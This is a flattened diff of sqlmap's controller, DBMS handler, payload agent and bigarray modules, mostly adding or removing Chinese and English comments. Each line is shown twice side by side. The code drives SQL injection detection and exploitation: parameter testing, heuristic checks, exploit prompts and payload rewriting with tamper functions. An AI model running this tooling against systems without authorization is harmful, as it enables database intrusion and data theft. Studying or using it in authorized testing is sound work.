conf.data = re.sub(r"\b(__\w+)=([^&]+)", lambda match: "%s=%s" % (match.group(1), urlencode(match.group(2), safe='%')), conf.data) conf.data = re.sub(r"\b(__\w+)=([^&]+)", lambda match: "%s=%s" % (match.group(1), urlencode(match.group(2), safe='%')), conf.data)
# 将conf.httpHeaders中重复的header删除
conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])] conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])]
initTargetEnv() initTargetEnv()
@ -433,24 +348,19 @@ def start():
testSqlInj = False testSqlInj = False
# 如果配置中包含PLACE.GET参数并且没有conf.data和conf.testParameter参数则遍历conf.parameters[PLACE.GET]中的参数
if PLACE.GET in conf.parameters and not any((conf.data, conf.testParameter)): if PLACE.GET in conf.parameters and not any((conf.data, conf.testParameter)):
for parameter in re.findall(r"([^=]+)=([^%s]+%s?|\Z)" % (re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]): for parameter in re.findall(r"([^=]+)=([^%s]+%s?|\Z)" % (re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]):
paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0]) paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0])
# 如果paramKey不在kb.testedParams中则设置testSqlInj为True
if paramKey not in kb.testedParams: if paramKey not in kb.testedParams:
testSqlInj = True testSqlInj = True
break break
else: else:
# 否则设置paramKey为(conf.hostname, conf.path, None, None)并检查paramKey是否在kb.testedParams中
paramKey = (conf.hostname, conf.path, None, None) paramKey = (conf.hostname, conf.path, None, None)
if paramKey not in kb.testedParams: if paramKey not in kb.testedParams:
testSqlInj = True testSqlInj = True
# 如果testSqlInj为True并且conf.hostname在kb.vulnHosts中则检查是否跳过该主机
if testSqlInj and conf.hostname in kb.vulnHosts: if testSqlInj and conf.hostname in kb.vulnHosts:
# 如果kb.skipVulnHost为None则提示用户是否跳过该主机的进一步测试
if kb.skipVulnHost is None: if kb.skipVulnHost is None:
message = "SQL injection vulnerability has already been detected " message = "SQL injection vulnerability has already been detected "
message += "against '%s'. Do you want to skip " % conf.hostname message += "against '%s'. Do you want to skip " % conf.hostname
@ -458,16 +368,13 @@ def start():
kb.skipVulnHost = readInput(message, default='Y', boolean=True) kb.skipVulnHost = readInput(message, default='Y', boolean=True)
# 如果kb.skipVulnHost为True则设置testSqlInj为False
testSqlInj = not kb.skipVulnHost testSqlInj = not kb.skipVulnHost
# 如果testSqlInj为False则跳过该URL
if not testSqlInj: if not testSqlInj:
infoMsg = "skipping '%s'" % targetUrl infoMsg = "skipping '%s'" % targetUrl
logger.info(infoMsg) logger.info(infoMsg)
continue continue
# 如果conf.multipleTargets为True则提示用户是否测试该表单或URL
if conf.multipleTargets: if conf.multipleTargets:
if conf.forms and conf.method: if conf.forms and conf.method:
message = "[%d/%s] Form:\n%s %s" % (targetCount, len(kb.targets) if isListLike(kb.targets) else '?', conf.method, targetUrl) message = "[%d/%s] Form:\n%s %s" % (targetCount, len(kb.targets) if isListLike(kb.targets) else '?', conf.method, targetUrl)
@ -481,28 +388,23 @@ def start():
message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data) message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data)
if conf.forms and conf.method: if conf.forms and conf.method:
# 如果conf.method为GET并且targetUrl中不包含"?",则跳过
if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1: if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1:
continue continue
message += "\ndo you want to test this form? [Y/n/q] " message += "\ndo you want to test this form? [Y/n/q] "
choice = readInput(message, default='Y').upper() choice = readInput(message, default='Y').upper()
# 如果用户选择"N",则跳过
if choice == 'N': if choice == 'N':
continue continue
# 如果用户选择"Q",则退出
elif choice == 'Q': elif choice == 'Q':
break break
else: else:
# 如果conf.method不为GET则编辑POST数据
if conf.method != HTTPMETHOD.GET: if conf.method != HTTPMETHOD.GET:
message = "Edit %s data [default: %s]%s: " % (conf.method, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "None") is None else conf.data, " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "") message = "Edit %s data [default: %s]%s: " % (conf.method, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "None") is None else conf.data, " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "")
conf.data = readInput(message, default=conf.data) conf.data = readInput(message, default=conf.data)
conf.data = _randomFillBlankFields(conf.data) conf.data = _randomFillBlankFields(conf.data)
conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data
# 如果conf.method为GET则编辑GET数据
else: else:
if '?' in targetUrl: if '?' in targetUrl:
firstPart, secondPart = targetUrl.split('?', 1) firstPart, secondPart = targetUrl.split('?', 1)
@ -511,37 +413,29 @@ def start():
test = _randomFillBlankFields(test) test = _randomFillBlankFields(test)
conf.url = "%s?%s" % (firstPart, test) conf.url = "%s?%s" % (firstPart, test)
# 解析目标URL
parseTargetUrl() parseTargetUrl()
else: else:
# 如果conf.scope为False则提示用户是否测试该URL
if not conf.scope: if not conf.scope:
message += "\ndo you want to test this URL? [Y/n/q]" message += "\ndo you want to test this URL? [Y/n/q]"
choice = readInput(message, default='Y').upper() choice = readInput(message, default='Y').upper()
# 如果用户选择"N",则跳过
if choice == 'N': if choice == 'N':
dataToStdout(os.linesep) dataToStdout(os.linesep)
continue continue
# 如果用户选择"Q",则退出
elif choice == 'Q': elif choice == 'Q':
break break
else: else:
pass pass
# 打印测试URL
infoMsg = "testing URL '%s'" % targetUrl infoMsg = "testing URL '%s'" % targetUrl
logger.info(infoMsg) logger.info(infoMsg)
# 设置目标环境
setupTargetEnv() setupTargetEnv()
# 检查连接
if not checkConnection(suppressOutput=conf.forms): if not checkConnection(suppressOutput=conf.forms):
continue continue
# 如果conf.rParam为True并且kb.originalPage不为空则更新kb.randomPool
if conf.rParam and kb.originalPage: if conf.rParam and kb.originalPage:
kb.randomPool = dict([_ for _ in kb.randomPool.items() if isinstance(_[1], list)]) kb.randomPool = dict([_ for _ in kb.randomPool.items() if isinstance(_[1], list)])
@ -551,16 +445,12 @@ def start():
if options: if options:
kb.randomPool[name] = options kb.randomPool[name] = options
# 检查WAF
checkWaf() checkWaf()
# 如果conf.nullConnection为True则检查空连接
if conf.nullConnection: if conf.nullConnection:
checkNullConnection() checkNullConnection()
# 如果kb.injections为空或者kb.injections中只有一个place为None的元素或者kb.injection.place为None或者kb.injection.parameter为None则进行以下操作
if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None): if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None):
# 如果conf.string和conf.notString和conf.regexp都为空并且PAYLOAD.TECHNIQUE.BOOLEAN在conf.technique中则检查页面稳定性
if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique: if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique:
# NOTE: this is not needed anymore, leaving only to display # NOTE: this is not needed anymore, leaving only to display
# a warning message to the user in case the page is not stable # a warning message to the user in case the page is not stable
@ -705,7 +595,6 @@ def start():
check = heuristicCheckSqlInjection(place, parameter) check = heuristicCheckSqlInjection(place, parameter)
# 如果启发式检查结果不是正数,则跳过
if check != HEURISTIC_TEST.POSITIVE: if check != HEURISTIC_TEST.POSITIVE:
if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED): if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED):
infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter)
@ -719,9 +608,7 @@ def start():
proceed = not kb.endDetection proceed = not kb.endDetection
injectable = False injectable = False
# 如果注入点存在
if getattr(injection, "place", None) is not None: if getattr(injection, "place", None) is not None:
# 如果注入点被标记为假阳性或不可利用,则将其添加到假阳性列表中
if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE in injection.notes: if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE in injection.notes:
kb.falsePositives.append(injection) kb.falsePositives.append(injection)
else: else:
@ -729,7 +616,6 @@ def start():
kb.injections.append(injection) kb.injections.append(injection)
# 如果没有发出警报,则发出警报
if not kb.alerted: if not kb.alerted:
if conf.alert: if conf.alert:
infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert
@ -763,53 +649,37 @@ def start():
if place == PLACE.COOKIE: if place == PLACE.COOKIE:
kb.mergeCookies = popValue() kb.mergeCookies = popValue()
# 如果kb.injections的长度为0或者长度为1且kb.injections[0].place为None则执行以下代码
if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None): if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None):
# 如果kb.vainRun为True且conf.multipleTargets为False则执行以下代码
if kb.vainRun and not conf.multipleTargets: if kb.vainRun and not conf.multipleTargets:
# 定义错误信息
errMsg = "no parameter(s) found for testing in the provided data " errMsg = "no parameter(s) found for testing in the provided data "
errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')" errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')"
# 如果kb.originalPage存在则执行以下代码
if kb.originalPage: if kb.originalPage:
advice = [] advice = []
# 如果conf.forms为False且kb.originalPage中存在<form则将--forms添加到advice中
if not conf.forms and re.search(r"<form", kb.originalPage) is not None: if not conf.forms and re.search(r"<form", kb.originalPage) is not None:
advice.append("--forms") advice.append("--forms")
# 如果conf.crawlDepth为False且kb.originalPage中存在href则将--crawl=2添加到advice中
if not conf.crawlDepth and re.search(r"href=[\"']/?\w", kb.originalPage) is not None: if not conf.crawlDepth and re.search(r"href=[\"']/?\w", kb.originalPage) is not None:
advice.append("--crawl=2") advice.append("--crawl=2")
# 如果advice不为空则将advice添加到错误信息中
if advice: if advice:
errMsg += ". You are advised to rerun with '%s'" % ' '.join(advice) errMsg += ". You are advised to rerun with '%s'" % ' '.join(advice)
# 抛出SqlmapNoneDataException异常并传递错误信息
raise SqlmapNoneDataException(errMsg) raise SqlmapNoneDataException(errMsg)
# 否则,执行以下代码
else: else:
# 定义错误信息
errMsg = "all tested parameters do not appear to be injectable." errMsg = "all tested parameters do not appear to be injectable."
# 如果conf.level小于5或conf.risk小于3则将以下信息添加到错误信息中
if conf.level < 5 or conf.risk < 3: if conf.level < 5 or conf.risk < 3:
errMsg += " Try to increase values for '--level'/'--risk' options " errMsg += " Try to increase values for '--level'/'--risk' options "
errMsg += "if you wish to perform more tests." errMsg += "if you wish to perform more tests."
# 如果conf.technique为列表且长度小于5则将以下信息添加到错误信息中
if isinstance(conf.technique, list) and len(conf.technique) < 5: if isinstance(conf.technique, list) and len(conf.technique) < 5:
errMsg += " Rerun without providing the option '--technique'." errMsg += " Rerun without providing the option '--technique'."
# 如果conf.textOnly为False且kb.originalPage存在则执行以下代码
if not conf.textOnly and kb.originalPage: if not conf.textOnly and kb.originalPage:
# 计算kb.originalPage中文本内容的百分比
percent = (100.0 * len(getFilteredPageContent(kb.originalPage)) / len(kb.originalPage)) percent = (100.0 * len(getFilteredPageContent(kb.originalPage)) / len(kb.originalPage))
# 如果kb.dynamicMarkings为True则将以下信息添加到错误信息中
if kb.dynamicMarkings: if kb.dynamicMarkings:
errMsg += " You can give it a go with the switch '--text-only' " errMsg += " You can give it a go with the switch '--text-only' "
errMsg += "if the target page has a low percentage " errMsg += "if the target page has a low percentage "
errMsg += "of textual content (~%.2f%% of " % percent errMsg += "of textual content (~%.2f%% of " % percent
errMsg += "page content is text)." errMsg += "page content is text)."
# 如果文本内容的百分比小于LOW_TEXT_PERCENT且kb.errorIsNone为False则将以下信息添加到错误信息中
elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone: elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone:
errMsg += " Please retry with the switch '--text-only' " errMsg += " Please retry with the switch '--text-only' "
errMsg += "(along with --technique=BU) as this case " errMsg += "(along with --technique=BU) as this case "
@ -818,7 +688,6 @@ def start():
errMsg += "of comparison engine to detect at least " errMsg += "of comparison engine to detect at least "
errMsg += "one dynamic parameter)." errMsg += "one dynamic parameter)."
# 如果kb.heuristicTest为HEURISTIC_TEST.POSITIVE则将以下信息添加到错误信息中
if kb.heuristicTest == HEURISTIC_TEST.POSITIVE: if kb.heuristicTest == HEURISTIC_TEST.POSITIVE:
errMsg += " As heuristic test turned out positive you are " errMsg += " As heuristic test turned out positive you are "
errMsg += "strongly advised to continue on with the tests." errMsg += "strongly advised to continue on with the tests."
@ -847,41 +716,29 @@ def start():
# Flush the flag # Flush the flag
kb.testMode = False kb.testMode = False
# Save the results to a file
_saveToResultsFile() _saveToResultsFile()
# Save the results to a hash database
_saveToHashDB() _saveToHashDB()
# Show the injections
_showInjections() _showInjections()
# Select an injection
_selectInjection() _selectInjection()
# Check if there is an injection
if kb.injection.place is not None and kb.injection.parameter is not None: if kb.injection.place is not None and kb.injection.parameter is not None:
# Check if there are multiple targets
if conf.multipleTargets: if conf.multipleTargets:
# Ask the user if they want to exploit the SQL injection
message = "do you want to exploit this SQL injection? [Y/n] " message = "do you want to exploit this SQL injection? [Y/n] "
condition = readInput(message, default='Y', boolean=True) condition = readInput(message, default='Y', boolean=True)
else: else:
# Set the condition to True
condition = True condition = True
# If the condition is True, execute the action
if condition: if condition:
action() action()
except KeyboardInterrupt: except KeyboardInterrupt:
# 捕获用户中断异常
if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1): if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1):
# 如果用户在1秒内连续按下了Ctrl+C则设置kb.multipleCtrlC为True并抛出SqlmapUserQuitException异常
kb.multipleCtrlC = True kb.multipleCtrlC = True
raise SqlmapUserQuitException("user aborted (Ctrl+C was pressed multiple times)") raise SqlmapUserQuitException("user aborted (Ctrl+C was pressed multiple times)")
kb.lastCtrlCTime = time.time() kb.lastCtrlCTime = time.time()
if conf.multipleTargets: if conf.multipleTargets:
# 如果在多个目标模式下,用户中断了扫描
warnMsg = "user aborted in multiple target mode" warnMsg = "user aborted in multiple target mode"
logger.warning(warnMsg) logger.warning(warnMsg)
@ -889,63 +746,49 @@ def start():
choice = readInput(message, default='Y').upper() choice = readInput(message, default='Y').upper()
if choice == 'N': if choice == 'N':
# 如果用户选择不跳过则返回False
return False return False
elif choice == 'Q': elif choice == 'Q':
# 如果用户选择退出则抛出SqlmapUserQuitException异常
raise SqlmapUserQuitException raise SqlmapUserQuitException
else: else:
# 如果不在多个目标模式下,则抛出异常
raise raise
except SqlmapSkipTargetException: except SqlmapSkipTargetException:
# 捕获SqlmapSkipTargetException异常不做任何操作
pass pass
except SqlmapUserQuitException: except SqlmapUserQuitException:
# 捕获SqlmapUserQuitException异常抛出异常
raise raise
except SqlmapSilentQuitException: except SqlmapSilentQuitException:
# 捕获SqlmapSilentQuitException异常抛出异常
raise raise
except SqlmapBaseException as ex: except SqlmapBaseException as ex:
# 捕获SqlmapBaseException异常获取异常信息
errMsg = getSafeExString(ex) errMsg = getSafeExString(ex)
if conf.multipleTargets: if conf.multipleTargets:
# 如果在多个目标模式下,保存结果到文件,并跳过下一个目标
_saveToResultsFile() _saveToResultsFile()
errMsg += ", skipping to the next target" errMsg += ", skipping to the next target"
logger.error(errMsg.lstrip(", ")) logger.error(errMsg.lstrip(", "))
else: else:
# 如果不在多个目标模式下记录错误信息并返回False
logger.critical(errMsg) logger.critical(errMsg)
return False return False
finally: finally:
# 显示HTTP错误码
showHttpErrorCodes() showHttpErrorCodes()
if kb.maxConnectionsFlag: if kb.maxConnectionsFlag:
# 如果设置了最大连接数,则记录警告信息
warnMsg = "it appears that the target " warnMsg = "it appears that the target "
warnMsg += "has a maximum connections " warnMsg += "has a maximum connections "
warnMsg += "constraint" warnMsg += "constraint"
logger.warning(warnMsg) logger.warning(warnMsg)
if kb.dataOutputFlag and not conf.multipleTargets: if kb.dataOutputFlag and not conf.multipleTargets:
# 如果设置了数据输出,且不在多个目标模式下,则记录信息
logger.info("fetched data logged to text files under '%s'" % conf.outputPath) logger.info("fetched data logged to text files under '%s'" % conf.outputPath)
if conf.multipleTargets: if conf.multipleTargets:
if conf.resultsFile: if conf.resultsFile:
# 如果在多个目标模式下,设置了结果文件,则记录信息
infoMsg = "you can find results of scanning in multiple targets " infoMsg = "you can find results of scanning in multiple targets "
infoMsg += "mode inside the CSV file '%s'" % conf.resultsFile infoMsg += "mode inside the CSV file '%s'" % conf.resultsFile
logger.info(infoMsg) logger.info(infoMsg)
# 返回True
return True return True

@ -1,20 +1,46 @@
#!/usr/bin/env python #!/usr/bin/env python
"""
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) """
See the file 'LICENSE' for copying permission Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
""" """
# Import necessary modules and classes from the sqlmap project
from lib.core.common import Backend from lib.core.common import Backend
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.dicts import DBMS_DICT from lib.core.dicts import DBMS_DICT
from lib.core.enums import DBMS from lib.core.enums import DBMS
from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapConnectionException
from lib.core.settings import * # Import all database aliases settings from lib.core.settings import ACCESS_ALIASES
from lib.core.settings import ALTIBASE_ALIASES
from lib.core.settings import CACHE_ALIASES
from lib.core.settings import CLICKHOUSE_ALIASES
from lib.core.settings import CRATEDB_ALIASES
from lib.core.settings import CUBRID_ALIASES
from lib.core.settings import DB2_ALIASES
from lib.core.settings import DERBY_ALIASES
from lib.core.settings import EXTREMEDB_ALIASES
from lib.core.settings import FIREBIRD_ALIASES
from lib.core.settings import FRONTBASE_ALIASES
from lib.core.settings import H2_ALIASES
from lib.core.settings import HSQLDB_ALIASES
from lib.core.settings import INFORMIX_ALIASES
from lib.core.settings import MAXDB_ALIASES
from lib.core.settings import MCKOI_ALIASES
from lib.core.settings import MIMERSQL_ALIASES
from lib.core.settings import MONETDB_ALIASES
from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MYSQL_ALIASES
from lib.core.settings import ORACLE_ALIASES
from lib.core.settings import PGSQL_ALIASES
from lib.core.settings import PRESTO_ALIASES
from lib.core.settings import RAIMA_ALIASES
from lib.core.settings import SQLITE_ALIASES
from lib.core.settings import SYBASE_ALIASES
from lib.core.settings import VERTICA_ALIASES
from lib.core.settings import VIRTUOSO_ALIASES
from lib.utils.sqlalchemy import SQLAlchemy from lib.utils.sqlalchemy import SQLAlchemy
# Import connectors and maps for various DBMS
from plugins.dbms.access.connector import Connector as AccessConn from plugins.dbms.access.connector import Connector as AccessConn
from plugins.dbms.access import AccessMap from plugins.dbms.access import AccessMap
from plugins.dbms.altibase.connector import Connector as AltibaseConn from plugins.dbms.altibase.connector import Connector as AltibaseConn
@ -75,11 +101,9 @@ from plugins.dbms.virtuoso import VirtuosoMap
def setHandler(): def setHandler():
""" """
Detect which is the target web application back-end database Detect which is the target web application back-end database
management system. This function will handle the identification management system.
of the database management system (DBMS) to work with the sqlmap tool.
""" """
# List of tuples containing DBMS information (DBMS type, aliases, map class, connector class)
items = [ items = [
(DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, MySQLConn), (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, MySQLConn),
(DBMS.ORACLE, ORACLE_ALIASES, OracleMap, OracleConn), (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, OracleConn),
@ -111,80 +135,65 @@ def setHandler():
(DBMS.VIRTUOSO, VIRTUOSO_ALIASES, VirtuosoMap, VirtuosoConn), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES, VirtuosoMap, VirtuosoConn),
] ]
# Identify the current DBMS by evaluating conditions
_ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items) _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)
# If a DBMS is detected, remove it from the list and place it at the start
if _: if _:
items.remove(_) items.remove(_)
items.insert(0, _) items.insert(0, _)
# Iterate through the list of DBMS to find the suitable one
for dbms, aliases, Handler, Connector in items: for dbms, aliases, Handler, Connector in items:
# If a specific DBMS is forced via configuration
if conf.forceDbms: if conf.forceDbms:
if conf.forceDbms.lower() not in aliases: if conf.forceDbms.lower() not in aliases:
continue # Skip if aliases do not match continue
else: else:
kb.dbms = conf.dbms = conf.forceDbms = dbms # Set the forced DBMS kb.dbms = conf.dbms = conf.forceDbms = dbms
# Check if the current DBMS is filtered out
if kb.dbmsFilter: if kb.dbmsFilter:
if dbms not in kb.dbmsFilter: if dbms not in kb.dbmsFilter:
continue # Skip if DBMS is in the filter list continue
# Instantiate the handler and connector classes for the DBMS
handler = Handler() handler = Handler()
conf.dbmsConnector = Connector() conf.dbmsConnector = Connector()
# Direct connection logic if applicable
if conf.direct: if conf.direct:
exception = None exception = None
dialect = DBMS_DICT[dbms][3] # Get the dialect from the dictionary dialect = DBMS_DICT[dbms][3]
# Attempt to connect using SQLAlchemy with the provided dialect
if dialect: if dialect:
try: try:
sqlalchemy = SQLAlchemy(dialect=dialect) sqlalchemy = SQLAlchemy(dialect=dialect)
sqlalchemy.connect() # Establish SQLAlchemy connection sqlalchemy.connect()
if sqlalchemy.connector: # If connected successfully if sqlalchemy.connector:
conf.dbmsConnector = sqlalchemy conf.dbmsConnector = sqlalchemy
except Exception as ex: except Exception as ex:
exception = ex # Capture any exception that occurs exception = ex
# If no valid dialect or an exception occurred, try direct connection with the DBMS connector
if not dialect or exception: if not dialect or exception:
try: try:
conf.dbmsConnector.connect() conf.dbmsConnector.connect()
except Exception as ex: except Exception as ex:
if exception: if exception:
raise exception # Raise the previously caught exception raise exception
else: else:
if not isinstance(ex, NameError): if not isinstance(ex, NameError):
raise # Raise unexpected exceptions raise
else: else:
# Raise an exception for unsupported direct connection
msg = "support for direct connection to '%s' is not available. " % dbms msg = "support for direct connection to '%s' is not available. " % dbms
msg += "Please rerun with '--dependencies'" msg += "Please rerun with '--dependencies'"
raise SqlmapConnectionException(msg) raise SqlmapConnectionException(msg)
# Determine if the current handler should proceed based on DBMS check
if conf.forceDbms == dbms or handler.checkDbms(): if conf.forceDbms == dbms or handler.checkDbms():
# If a specific DBMS resolution is set, assign the corresponding handler
if kb.resolutionDbms: if kb.resolutionDbms:
conf.dbmsHandler = max(_ for _ in items if _[0] == kb.resolutionDbms)[2]() conf.dbmsHandler = max(_ for _ in items if _[0] == kb.resolutionDbms)[2]()
conf.dbmsHandler._dbms = kb.resolutionDbms conf.dbmsHandler._dbms = kb.resolutionDbms
else: else:
# Assign the detected handler and set the DBMS type
conf.dbmsHandler = handler conf.dbmsHandler = handler
conf.dbmsHandler._dbms = dbms conf.dbmsHandler._dbms = dbms
break # Exit loop after successful DBMS identification break
else: else:
# Set the DBMS connector to None if the check fails conf.dbmsConnector = None
conf.dbmsConnector = None
# At this point, back-end DBMS is correctly fingerprinted, no need to enforce it anymore # At this point back-end DBMS is correctly fingerprinted, no need
Backend.flushForcedDbms() # to enforce it anymore
Backend.flushForcedDbms()

@ -66,27 +66,20 @@ class Agent(object):
""" """
def payloadDirect(self, query): def payloadDirect(self, query):
# This method replaces the affected parameter with the SQL
# injection statement to request
query = self.cleanupPayload(query) query = self.cleanupPayload(query)
# If the query starts with "AND ", replace it with "SELECT "
if query.upper().startswith("AND "): if query.upper().startswith("AND "):
query = re.sub(r"(?i)AND ", "SELECT ", query, 1) query = re.sub(r"(?i)AND ", "SELECT ", query, 1)
# If the query starts with " UNION ALL ", remove it
elif query.upper().startswith(" UNION ALL "): elif query.upper().startswith(" UNION ALL "):
query = re.sub(r"(?i) UNION ALL ", "", query, 1) query = re.sub(r"(?i) UNION ALL ", "", query, 1)
# If the query starts with "; ", remove it
elif query.startswith("; "): elif query.startswith("; "):
query = query.replace("; ", "", 1) query = query.replace("; ", "", 1)
# If the database is Oracle, replace the affected parameter with a null and cast field
if Backend.getIdentifiedDbms() in (DBMS.ORACLE,): # non-standard object(s) make problems to a database connector while returned (e.g. XMLTYPE) if Backend.getIdentifiedDbms() in (DBMS.ORACLE,): # non-standard object(s) make problems to a database connector while returned (e.g. XMLTYPE)
_, _, _, _, _, _, fieldsToCastStr, _ = self.getFields(query) _, _, _, _, _, _, fieldsToCastStr, _ = self.getFields(query)
for field in fieldsToCastStr.split(','): for field in fieldsToCastStr.split(','):
query = query.replace(field, self.nullAndCastField(field)) query = query.replace(field, self.nullAndCastField(field))
# If tamper functions are defined, apply them to the query
if kb.tamperFunctions: if kb.tamperFunctions:
for function in kb.tamperFunctions: for function in kb.tamperFunctions:
query = function(payload=query) query = function(payload=query)
@ -99,53 +92,38 @@ class Agent(object):
injection statement to request injection statement to request
""" """
# 如果配置了直接注入则调用payloadDirect方法
if conf.direct: if conf.direct:
return self.payloadDirect(newValue) return self.payloadDirect(newValue)
retVal = "" retVal = ""
# 如果配置了强制where则使用配置的where
if kb.forceWhere: if kb.forceWhere:
where = kb.forceWhere where = kb.forceWhere
# 如果没有配置强制where且当前技术可用则使用当前技术的where
elif where is None and isTechniqueAvailable(getTechnique()): elif where is None and isTechniqueAvailable(getTechnique()):
where = getTechniqueData().where where = getTechniqueData().where
# 如果kb中注入的place不为空则使用kb中的place
if kb.injection.place is not None: if kb.injection.place is not None:
place = kb.injection.place place = kb.injection.place
# 如果kb中注入的parameter不为空则使用kb中的parameter
if kb.injection.parameter is not None: if kb.injection.parameter is not None:
parameter = kb.injection.parameter parameter = kb.injection.parameter
# 获取参数字符串和参数字典
paramString = conf.parameters[place] paramString = conf.parameters[place]
paramDict = conf.paramDict[place] paramDict = conf.paramDict[place]
# 获取原始值
origValue = getUnicode(paramDict[parameter]) origValue = getUnicode(paramDict[parameter])
# 如果有新的值则转换为unicode
newValue = getUnicode(newValue) if newValue else newValue newValue = getUnicode(newValue) if newValue else newValue
# 判断参数是否为base64编码
base64Encoding = re.sub(r" \(.+", "", parameter) in conf.base64Parameter base64Encoding = re.sub(r" \(.+", "", parameter) in conf.base64Parameter
# 如果place为URI或者原始值中包含BOUNDED_INJECTION_MARKER则处理URI
if place == PLACE.URI or BOUNDED_INJECTION_MARKER in origValue: if place == PLACE.URI or BOUNDED_INJECTION_MARKER in origValue:
paramString = origValue paramString = origValue
# 如果place为URI则获取URI中的参数
if place == PLACE.URI: if place == PLACE.URI:
origValue = origValue.split(kb.customInjectionMark)[0] origValue = origValue.split(kb.customInjectionMark)[0]
# 否则,获取原始值中的参数
else: else:
origValue = filterNone(re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in (r"\w+\Z", r"[^\"'><]+\Z", r"[^ ]+\Z"))[0].group(0) origValue = filterNone(re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in (r"\w+\Z", r"[^\"'><]+\Z", r"[^ ]+\Z"))[0].group(0)
# 获取参数名
origValue = origValue[origValue.rfind('/') + 1:] origValue = origValue[origValue.rfind('/') + 1:]
# 去除参数名中的特殊字符
for char in ('?', '=', ':', ',', '&'): for char in ('?', '=', ':', ',', '&'):
if char in origValue: if char in origValue:
origValue = origValue[origValue.rfind(char) + 1:] origValue = origValue[origValue.rfind(char) + 1:]
# 如果place为CUSTOM_POST则处理POST
elif place == PLACE.CUSTOM_POST: elif place == PLACE.CUSTOM_POST:
paramString = origValue paramString = origValue
origValue = origValue.split(kb.customInjectionMark)[0] origValue = origValue.split(kb.customInjectionMark)[0]

@ -5,7 +5,6 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 尝试导入cPickle模块如果失败则导入pickle模块
try: try:
import cPickle as pickle import cPickle as pickle
except: except:
@ -17,47 +16,36 @@ import sys
import tempfile import tempfile
import zlib import zlib
# 从lib.core.compat模块中导入xrange函数
from lib.core.compat import xrange from lib.core.compat import xrange
# 从lib.core.enums模块中导入MKSTEMP_PREFIX枚举
from lib.core.enums import MKSTEMP_PREFIX from lib.core.enums import MKSTEMP_PREFIX
# 从lib.core.exception模块中导入SqlmapSystemException异常
from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapSystemException
# 从lib.core.settings模块中导入BIGARRAY_CHUNK_SIZE和BIGARRAY_COMPRESS_LEVEL常量
